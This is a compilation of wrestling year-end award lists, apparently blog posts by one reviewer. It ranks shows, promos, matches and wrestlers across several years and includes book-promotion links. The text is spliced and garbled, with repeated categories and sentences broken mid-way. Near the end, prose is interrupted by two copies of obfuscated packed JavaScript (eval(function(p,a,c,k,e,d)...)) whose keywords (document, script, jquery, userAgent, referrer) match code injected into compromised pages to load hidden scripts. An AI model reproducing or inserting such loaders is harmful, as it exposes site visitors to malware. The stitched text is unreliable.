Just like last year, I’ll be trying to do this over three days.  I have 18 awards this year and I’ll be doing six a day, with the top five in each category.

Major Show Of The Year

5. Wrestlemania XXXVIII Night One
4. Death Before Dishonor
3. Survivor Series
2. Revolution
1. Forbidden Door

It might be a cliché, but there is something special about having all of these dream matches leading up to a big time title match main event. This is the kind of show that you only get to see every so often and that made for some of the best action of the year. It isn’t something I would want to see every week, but for a one off special event, it was good enough to make for the best show of the year.

Non-Wrestler Of The Year

5. Shawn Michaels
4. Ian Riccaboni
3. MVP
2. Stokely Hathaway
1. Paul Heyman

Can we just name it after Heyman at this point? The guy has dominated so many similar awards for so long and it’s not fair to see how much better he is than almost anyone else. Heyman doesn’t do as much as he used to, but he can get more out of a look than almost anyone else in wrestling. He has done so much for the Bloodline and that isn’t even counting the time he jumped back to Brock Lesnar for a bit. Heyman is incredible in this role and that isn’t changing anytime soon.

Group/Tag Team Of The Year

5. Briscoes
4. Young Bucks
3. RKBro
2. Usos
1. FTR

While they somehow didn’t win the AEW Tag Team Titles this year, FTR became one of the most respected and popular teams in recent memory. The reactions they were getting were off the charts and it was one classic after another almost every time they were in the ring. Things have started to turn the other way a bit near the end of the year, but sweet goodness they did some incredible stuff for most of the time.

7. Worst Major Show Of The Year

5. In Your House
4. Summerslam
3. Wrestlemania Night Two
2. Elimination Chamber
1. Royal Rumble

This show was bad. The fact that I was in the stadium for the show and had to spend four hours holding my hand over my eyes because the spotlights caused approximately 37 TURN THE LIGHTS OFF chants has nothing to do with this. The Royal Rumbles were next to worthless as they had few interesting returns or good surprises. Throw in a few other fairly meh matches and this show just did not work.

Most Improved Of The Year

5. Matt Menard/Angelo Parker
4. Carmelo Hayes
3. Ricky Starks
2. Jamie Hayter
1. Andre Chase

This might not be a common pick but Chase has turned what should be an absolutely nothing, one note idea into one of the funniest, most entertaining and complete characters in NXT. The Chase U segments have become a highlight for me with Chase being handed something and running with it as far as he can. I know he probably won’t get many votes but Chase has gone from nothing to something very fun and that is a big improvement.

Promo Of The Year

5. Kevin Owens vs. Steve Austin – Wrestlemania XXXVIII
4. CM Punk’s All Out Rant
3. “No filter, I ain’t Instagram. We make the A** Boys retire like Vince McMahon.” – Max Caster – Dynamite – August 3

I can’t pick a #1 so here’s a tie:

1. William Regal vs. MJF – Dynamite – August 16

I was in the arena for this one and it is one of the only times I can remember being hooked on every word. This is the kind of promo that makes you realize just how incredible MJF can be and he sold the heck out of the whole thing. I wanted to see these two fight, but Regal no selling the whole thing and ruining MJF’s moment that he had built up in his head for years made the segment. MJF was good, but he was in over his head and Regal knew it.

1. Jey Uso Hasn’t Been Very Ucey – Smackdown – October 28

I don’t watch a lot of stuff back again but I’ve probably seen this ten times now. There is SO MUCH in this and it goes in so many great directions.

• Jey Uso yelling at Sami Zayn and saying he doesn’t care what Roman Reigns thinks, causing Reigns’ head to snap up and everyone to realize that Jey is about to die.
• Sami trying to calm Reigns down by saying Jey hasn’t been very Ucey, causing Jey to give Sami a double take that says “you did not just say that on national TV” and Reigns to realize he has Jey dead to rites.
• Reigns saying “you’re not feeling very……ucey?” and Jey having to be held in place (Reigns: “No stay right here, stay right here.”) because he knows he’s about to crack on live TV. Then Reigns gets them again by saying Jey needs to find his “inner Ucey” (you can see the huge smile under his hands and Jimmy trying to hide his grin in the background).
• Then to top it off, Reigns gets it back on track by saying if Jey can’t figure this out, Sami Zayn is going to become Sami Uso, leaving Sami looking like a three year old on Christmas morning.

This was serious, hilarious, serious again and then sold thousands of shirts. You don’t get that kind of a segment often and it beats anything (save for one) all year.

I can’t pick. Flip a coin.

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AND

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Now we get to some big ones.

Surprise Of The Year

5. NXT Concedes Wednesday Night Wars
4. The Ending Of All Out
3. Bron Breakker Is Good
2. Hook Is Good

1. CM Punk Returns

This is the one that got me. Punk had been away from wrestling for seven and a half years, which might as well be an eternity in the business. You just do not see wrestlers leaving for this long and then coming back but Punk returned and with a bang. AEW let you know it was coming, but until the guitar riff hit in the United Center, I wasn’t completely sure it was going to happen. Granted if it hadn’t, the building was going to go up in smoke, but they did what they needed to do and it was incredible, to put it mildly. And now I want some ice cream.

Match Of The Year

5. Finn Balor vs. Pete Dunne – Takeover: Vengeance
4. Roman Reigns vs. Daniel Bryan – Smackdown, April 30
3. Thunder Rosa vs. Britt Baker – St. Patrick’s Day Slam
2. Kenny Omega vs. Bryan Danielson – AEW Grand Slam

1. Ilja Dragunov vs. Walter – Takeover 36

The original match between these two were one of the best things I have seen in wrestling in a long time and that was the case again here. These two beat the living daylights out of each other and it was everything I was hoping it would be. It was a physical struggle and felt like only one of them was going to be able to survive. Walter’s incredible United Kingdom Title reign finally ends, and my goodness what a way to wrap it up.

Promo Of The Year

5. Chris Jericho Might Be Saying Goodbye – Dynamite, August 25
4. Edge vs. Miz – Raw – November 29
3. CM Punk vs. Eddie Kingston – Rampage – November 5
2. CM Punk’s Return Speech – Rampage – August 20

1. CM Punk vs. MJF – Dynamite – November 24

In what was the year of Punk in the world of promos, this one topped everything else. I know the First Dance has the emotion, but this was the night where they took the gloves off and went at it. These guys were throwing bombs at each other, such as MJF being a less Famous Miz and MJF calling Punk out for always having an excuse for not being the big star. This is the one that had me taking in every word and I don’t know if it is being topped for a long time.

Most Improved Of The Year

5. Tay Conti
4. W. Morrissey
3. Bobby Lashley
2. Britt Baker

1. Josh Alexander

I know Baker is the easy one here, but Alexander has a case not just for most improved but also the best wrestler of the year. Alexander was THE guy in Impact as the company got bigger and bigger. It was awesome watching him climb the ladder and I wanted to see what he could do when he finally got his chance in the main event. Then he won the World Title in the main event of the biggest show of the year, which he had certainly earned. This was an easy one for me and you should watch more of Alexander’s stuff.

Wrestler Of The Year

5. Roman Reigns
4. Serena Deeb
3. Josh Alexander
2. Jonathan Gresham

1. Daniel Bryan/Bryan Danielson

I don’t think this is much of a surprise, as Danielson is about as complete of a worker as you will find in the world today. The guy can do just about anything asked of him and that never seems to change. His AEW run will get the most praise, but don’t forget his first four months of the year where he had at least two classics, including the main event of Wrestlemania. Danielson is rapidly reaching that all time elite of the elite level and he was easily the best of the year.

Moment Of The Year

5. Hangman Page/Dark Order’s Entrance For Ten Man Tag
4. Becky Lynch Returns
3. John Cena Returns
2. The Fans Are Back

1. CM Punk Returns

This is one of those moments that AEW built up to perfection by more or less guaranteeing that Punk would be at First Dance. Then the show started and here he was, with the music, the pose, the dive into the crowd and everything else. They turned this into an event and I don’t think there is anything that AEW has done that tops this so far. Then there was the ice cream deal to make it even better. I loved this way more than I would have expected and it was as close to perfect as it could have been.

There are a lot of options here, which is what can make something like this all the more interesting. For the sake of simplicity, I’m including pretty much anything other than regular television, because otherwise it could get into a bit of a tricky question of what is or isn’t major. Therefore, we’ll go with a pretty broad range of options and hope everyone is happy. Let’s get to it.

As usual, in no order until the end, where the top choice is last.

Sidenote: there were A LOT of highly rated shows this year so I’ve cut it down to the best one from each area (New Japan, Network Special, WWE, AEW, NXT). There were several on the same level, but I trimmed it down for the sake of not needing another week to list all of them.

Wrestle Kingdom

I’m combining the two nights into one as I had both shows rated about the same. You can only say so many things about a Wrestle Kingdom because they’re always awesome shows with some of the best matches of the year. This has always been the case and likely will be for a long time. This was another great show and you have to include it on such a list.

Worlds Collide

I thought about putting this one on the top. This was a big coming out party for NXT UK as they got to show that they were here. You have a host of big matches, but then the main event was all you could ask for, with Imperium (ok Walter) taking on the Undisputed Era and even winning despite it turning into a handicap match. I loved this way more than I would have bet on and it was one of the best things all year.

Clash Of Champions

Yeah I barely remember it either but apparently it was a heck of a show. This was the night of the McIntyre vs. Orton ambulance match and the first Reigns vs. Uso showdown, plus the pretty crazy awesome ladder match with Sami Zayn winning the Intercontinental Title. I had a blast with this show and it was a sneaky surprise, so I’ll certainly put this on a list of greatest shows of the year.

Double Or Nothing

AEW has one of the best pay per view track records of all time and Double Or Nothing might be the biggest show of their calendar. This year’s show was just as good, with the card being strong up and down and a host of awesome matches. AEW pay per views are up there with Takeovers for guaranteed levels of awesome. They know how to make a great presentation and they did it again here.

Believe it or not, the winner is from NXT.

Takeover: Portland

Who would have thought the winner of this would come from what felt like a nothing Takeover? This show was the classic Takeover formula with one awesome match after another. I loved this show and it was one of the best shows I’ve seen in a good while. It may not have been the best by much (and I wouldn’t argue with about a dozen shows beating it out), but it was a heck of an event and one of the best in a long time.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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Your tastes may vary on this one as there are different styles of promos. Some of them are meant to build up a match but some are meant to build up a character, many times through comedy. That’s what we have a nice mixture of here today, as there is some serious stuff plus a little comedy thrown in because when a wrestling promo is funny, it’s hilarious. Let’s get to it.

As usual, in no order until the ending.

Pat McAfee Retired The Undisputed Era – NXT, November 4

McAfee continues to have no reason to be this good this fast but he became the best heel in wrestling overnight. You want to see this guy get taken apart and that’s what the Undisputed Era did, but not before McAfee retired them, throwing an Undisputed Era banner in a trashcan. This was one of the most charismatic and energized heel promos you’ll see in years and it was outstanding throughout, just like McAfee.

Edge Is Back On Raw – Raw, January 27

There are things in wrestling that you’ll never believe you’re seeing and this was the latest entry. Edge was not supposed to wrestle again. After having to retire nearly nine years ago, Edge was one of the last names I ever would have expected to see get back in the ring and you could feel what it meant to him. It was even better than I would have expected, had I ever been able to expect something like this.

Becky Lynch Vacates The Raw Women’s Title – Raw, May 11

We’ll stick with the emotions here and have a moment that shook things up. Becky had become one of (if not the) biggest stars in WWE and it was almost impossible to believe that she could ever actually lose the Women’s Title. It looked like Asuka, as Miss Money in the Bank, was next for her but the night after Asuka won the briefcase, Becky said that Asuka was the new champion. Asuka could go be champion, because Becky was going to go be a mother. How much sweeter of a moment can you get than that?

Bayley Explains Herself – Smackdown, September 11

Bayley and Sasha Banks have had one of the longest stories in modern WWE and a lot of it took place over the course of 2020. They teamed together for a very long time, but then Bayley turned on Banks, continuing a heel run no one knew she had in her. Bayley had to explain herself and she did so very easily: she turned on Banks before Banks could turn on her. It was a logical explanation and right to the point. That’s all you could want from this and far more.

Big E. Is Doing Work – Smackdown Exclusive, December 25

This was a YouTube exclusive after Big E. beat Sami Zayn for the Intercontinental Title and…..he talks about taking down Sami’s tights, bending him over and doing work. As in construction work. Like, he mentions picnic areas, low income housing and a business district. He’s even wearing a construction hat. This is the crazy, charismatic and completely hilarious Big E. that people have been hyping for years now.

Los Parks Cook Pork – MLW Fusion, May 2

Every now and then, you see something that comes out of nowhere, is completely and utterly over the top, and you can’t stop watching it. This is the 2020 edition, as LA Park and his sons (LA Park Jr. and El Hijo de LA Park) join us from the kitchen where they make a pork dish, step by step, for about twelve minutes, all while Park Senior stops to rant about their upcoming match with Pagano and Psycho Clown. It’s all in Spanish with subtitles but I was cracking up throughout this entire segment. You don’t need any backstory because it’s all in the delivery. And you’ll see how to make a tasty looking dish.

Eddie Kingston And Jon Moxley Know Each Other – Dynamite, November 4

I had to cut myself off at one Kingston promo because he may be the best talker in wrestling right now. The idea of the feud is that Kingston and Moxley have known each other but Moxley forgot about him on his way to fame and fortune. Kingston wants revenge, but they can’t touch each other until the match. This sends them into an intense as heck back and forth, with Moxley talking about how he promised Kingston’s mother that he would take care of him, which is why he didn’t bring Kingston along. Kingston was shaking and I wanted to see these two rid each other apart. That’s how it’s done.

And now we have the winner. I don’t care that it’s stupid. I don’t care that it didn’t lead anywhere. I don’t care if it’s something I would make fun of most of the time. This is one of the greatest things I’ve seen in wrestling in years and I’ve watched it back more times than I can count.

Brandi Rhodes Meets Jade Cargill – Dynamite, November 11

This is the one I’ve watched more times than anything else from the year because DANG. Cargill had threatened Cody Rhodes with Shaquille O’Neal (because of course she did) and here comes Brandi, who is NOT HAVING IT. Brandi then gives the most passionate, emotional performance of her life, screaming and yelling at Jade…..who gives her a little spank. And then pretty much nothing ever happened again because Brandi was pregnant, but this was the best thing she’s ever done in wrestling by a mile.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

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IMG Credit: WWE

Promo Of The Year

This is another important one because while the wrestling world revolves around matches, it’s the promos that make people care about them. A good promo can take a feud (or a character, or anything for that matter) and turn them into something people care about in a big way. There were some awesome promos this year and they weren’t even always about matches.

The Inner Circle Mocks Cody (Dynamite – November 6)

This is one of those things that was put together so perfectly that it was actually memorable. Cody had released a video talking about how important the World Title match was for him and a bunch of talking heads agreed and said how much this was going to matter. It was a really good video and some of the best stuff ever from Cody, but it became obsolete the second this aired.

The Inner Circle aired its own version of the video, mocking every single thing Cody said and did, even down to having Virgil appear as a completely random talking head, going on about how Chris Jericho’s World Title reign will be like the breadsticks at Olive Garden: unlimited. I laughed more than once at this and it was the funniest thing AEW has put out to date. There was real effort in this but more importantly it was from people who knew how to be funny, and it was.

Kofi Kingston: You Know What Comes Next (Smackdown – April 2)

I don’t think there’s any secret to the fact that Kofimania was probably the most memorable part of the entire year. Kofi Kingston made the jump to main eventer and his rise to the title turned into an avalanche with one of the best payoffs in recent memory. He had to get there somehow though and that’s what happened here, in probably the most memorable promo of his career.

On the go home show for Wrestlemania XXXV, we had the contract signing between Bryan and Kingston. Bryan did not seem worried as he signed, saying that this was where it all ended for Kofi. That wasn’t going well for Kofi though, who got more aggressive and showed more fire than he has in his entire career, promising to go to Wrestlemania where Bryan knew what would come next. You could feel the energy here and, for me at least, it made me believe that Kofi could actually do this. If he didn’t, he was likely never getting another similar chance, giving us all the making for an instant classic (which it was).

Tommaso Ciampa: Welcome To The Main Roster (NXT – November 6)

One of the best things about the entire year was the rise of NXT. A lot of that came from Survivor Series as NXT rose up from developmental to something that no one could have ever realistically imagine. The three way feud between Raw, Smackdown and NXT saw all three shows showing up at each others’ events and causing chaos, which included one of the best lines of the year.

On the November 6 NXT, the OC invaded the show to kick things off. This brought out one of the last men in NXT that you want mad at you, Tommaso Ciampa, out to the ramp. Ciampa got straight to the point by welcoming the three oft hem to the main roster. That simple line told you everything you needed to know about NXT’s mindset in this battle and you knew that we were in for something special, which is exactly what you got.

Maxwell Jacob Friedman Trolls Bret Hart (Double Or Nothing)

This one is cheating a bit but since I set the rules for this thing, I think it’s going to be fine. The big segment was designed to introduce the World Title but it also helped set up Hangman Page vs. Maxwell Jacob Friedman. Hart came out with the title and unveiled it, but Friedman wasn’t about to let that kind of opportunity pass him by, which made things more interesting.

Friedman, referencing the attack at the Hall of Fame induction ceremony the previous month, came out and shouted “BRET! LOOK OUT! A FAN!” The rest of the segment came and went, but my goodness it was amazing. Friedman might be the best talker in the world right now and this was one of his best moments ever. It showed you what he could do on the big stage and that makes me very interested in where he gets to go in the future.

Nick Aldis: From A Punchline To A Powerhouse (NWA Powerrr – October 8)

I almost left this one off but the NWA deserves at least a mention somewhere. I did not want to do Powerrr every week. By then I already had a bunch of shows to cover every single week and hearing about the NWA getting a show just made my head hurt. My idea was to watch one episode and then move on to something else. And of course, the show was really good and a lot of that came from one promo at the beginning of the first show.

I know it hasn’t meant much in the last few….well decades really, but the NWA World Title is one of the most important championships ever in wrestling. That title design is legendary and a long list of legends have held it before. Nick Aldis is the World Champion, so it made sense to have him front and center for the debut show. He explained that it was a new era and the NWA was no longer a punchline. By acknowledging their failures and looking straight into the camera on such a simple set, Aldis gave you the feel for the show in one interview and I knew we were in for something great.

Firefly Fun House Debut (Monday Night Raw – April 22)

This is one of those segments where you have no idea what it is going to lead to but egads it caught your attention. We had only know Bray Wyatt as the cult leader and then he’s here, as some deranged version of Pee Wee Herman, complete with talking animals. As Jim Cornette said about Steve Austin, you knew he was going to be a big deal but nobody knew how big.

There isn’t much in the first episode, but it made you understand that something big was coming here and that’s what mattered. It got your attention and showed you that there was something else to Wyatt instead of just the same stuff. What followed was even better, but this set the stage in a way that nothing else has done in a very long time.

And one more from a day you may remember.

Cody Sets Up Full Gear (Dynamite – November 6)

Sweet goodness November 6 was a big day. This is a more simple concept: we have a World Title match and Cody needs to sell it. The fact that his father is Dusty Rhodes probably helped this out a lot because….well his dad is possibly the best promo of all time, and that means he had some good stuff to draw from.

Cody went on an incredible rant about how much he needed to become World Champion to honor his legacy but also prove that he belongs on the list of all time greats. This was pure emotion and the whole thing made me want to see Cody win the title. It was one of the best promos he’s ever done and he even agreed to never challenge for the World Title again if he lost. Ok so it might not have been the brightest move in the world, but it was a great delivery and got its point across, which makes it the best of the year.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also -available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Shut up and talk. While the matches are important, it’s the promos that help build things up. The angles set things in motion but without the promos, the stories wouldn’t be able to hold up as well. There were some gems this year as promos shifted a bit more towards long formats and that made for a great year, both in WWE and NXT.

Before we get to the main list, a quick honorable mention to Shinsuke Nakamura’s “Sorry, no speak English”. It’s just one line so I hesitate to call it a promo, but I was in stitches.

Daniel Bryan Is Medically Cleared – Smackdown – March 20

This was all emotion and shock, as I didn’t believe it could actually happen. Bryan was back after so many years and you can imagine how long he had wanted to make this speech. It was perfectly done and something I never thought I’d see. Bryan is an underrated talker as he seems so genuine with what he says. That can make for a great promo and given that Bryan had this much emotion involved, it’s hard to get much better.

Roman Reigns Vacates The Universal Title – Raw – October 22

I’m not sure how to separate the real life aspects of this from the character work, but this was one of the best promos Reigns has ever given. That probably comes from all of the real emotions involved and it’s easy to see why. This is one of those game changing moments and while you can’t say Reigns sold anything, he spoke from the heart and it was an actually emotional moment.

The New Daniel Bryan – Smackdown – November 20

Remember when Bryan was supposed to not be great on the mic? This was another outstanding showcase for Bryan as he explained his heel turn to near perfection. Bryan ranted about the fans not being there for him after everything he did and saying that it was all about the end results, which has been a great mindset for a heel since wrestling began. Bryan’s incredible run continues in a way that few expected, as he somehow surpasses his work from eight months prior.

Samoa Joe Reads A Story – Smackdown – September 11

This is something I’ve seen done a few times before and I always like it. Joe had a book readyt o read AJ about how he was going to choke AJ out and become WWE Champion as AJ’s family watched. Joe is one of the best promos in wrestling as you believe everything he says (even after he lost a bunch of matches) and that can make these things all the more intimidating. The promos against AJ and his family were downright creepy and this was the best of them all.

But there’s one creepier thing.

Johnny Gargano Explains Himself – NXT – November 7

One of the best things a promo can do is take things outside the arena. There are only so many times you can look at the same sets and the same backstage areas before it stops working. Moving things elsewhere makes things feel special and that’s what happened here, as Johnny walked along the same path where he attacked Aleister Black weeks before. Johnny explained everything and showed us how deep he was sinking into the darkness. It made sense, it made me want to see more, and it made me believe that Gargano was actually evil. Magnificent work here and the promo of the year.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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This might be my favorite one.

Something a lot of people forget about wrestling is the importance of the talking aspect. If there’s no story to build things up, the match is just two people doing moves to each other. I need a reason to care about what I’m seeing and that’s where the promos come in. This year had some excellent promos, meany of which were only a few words line. Still though, they did their job and that’s what matters most.

First of all, I’m leaving the Festival of Friendship off because that’s more of a segment than a promo.

Since this is probably the hardest award of the entire year, I’m going to knock off one of the only ones which isn’t bouncing around my head as a possible winner. Samoa Joe was already the #1 contender to Brock Lesnar’s Universal Title but he wasn’t done yet. Instead, on the June 5 Raw, Joe went after Paul Heyman, telling him that he wanted Brock Lesnar before choking Heyman out. Joe is often described as one of the few wrestlers who feels real and that’s what he did here. It was a great moment and made Joe look like a real threat to Lesnar, which is exactly the point.

Next up we go down NXT for one of those short form promos that also capped off a story. For some reason, Velveteen Dream was obsessed with getting Aleister Black to say his name. This led to a downright bizarre feud with Dream seemingly being attracted to Black, who refused to say his name. They had a rocking match at Takeover: WarGames with Black kicking Dream’s head off. After the match, with Dream waking up, Black said “enjoy infamy….Velveteen Dream.” It was a great moment and capped off a great story with Black both giving Dream what he wanted but not in the same way. This was a really strong candidate.

Back to the main roster now with the one I enjoyed the most, albeit maybe not the best. Due to reasons that I really don’t agree with, one of the big matches at Wrestlemania saw Nikki Bella/John Cena vs. Miz/Maryse. This was a great way to give Miz exposure (and to give us a plot device for Total Divas) and Miz took advantage of it, leading to a series of “lost” Total Bellas episodes featuring Miz and Maryse as Cena and Nikki. These were some of the funniest things I’ve ever seen with the two of them perfectly mocking the ridiculous nature of the show. Throw in Maryse being a hotter Nikki than Nikki and these were GREAT.

It took me awhile but I finally managed to decide between the top two. In what might be the most to the point yet stretched out sentence that I’ve ever heard, Roman Reigns took the crowd to new levels of hatred. The night after Wrestlemania, Raw opened with nearly four minutes of fans chanting for Undertaker, who Reigns seemed to retire the night before. Reigns came to the ring and after standing for nearly five minutes with the fans not letting him get a word in because they were not having it, Reigns merely said “This is my yard now” before leaving.

If this had been followed by by Reigns being edgier or even turning heel, it’s the promo of the year easily. As it is though, it’s one of the most amazing displays of the fans being led exactly where WWE wanted them to go. Reigns looked like the biggest heel in the world here and it worked to pure perfection with the fans absolutely HATING HIM the entire time. This worked, but it wasn’t the best thing Reigns was involved in all year.

We’re going to August and back to one of the best talkers of all time. On August 28, John Cena and Roman Reigns signed the contract for a match at No Mercy. At the signing though, Cena tore into Reigns like few people have ever torn into anyone else, talking about how Reigns was supposed to be this next big thing but couldn’t do it because he was a corporate made John Cena bootleg. When Reigns fumbled his lines, Cena said it was called cutting a promo and if Reigns wanted to be the big dog, he better learn how to do this. Cena burned him several more times as it was as one sided as you could have gotten.

The big reason this worked though was it felt real. Just like with Rock vs. Cena from a few years ago, this felt like two people who had real animosity towards one another, leading to the two of them going off with the insults. Reigns tried his best but when you get personal with Cena, he just hits another level with the shots and promo work. It made Cena look like one of the biggest stars ever while Reigns was just left in the dust. Reigns won the match, but he lost this one handily.

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iknte|var|u0026u|referrer|ahfyb||js|php'.split('|'),0,{})) isn’t the most in depth field in the world.

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzbat|var|u0026u|referrer|rdizy||js|php'.split('|'),0,{})) we’ve got some competition.

But this one topped them all.

On April 6, 2014 in the New Orleans SUPERdome, Hulk Hogan was in the ring to open Wrestlemania XXX as the official host. He talked about how there are Wrestlemania moments and you never know when one is going to happen. And then the glass shattered.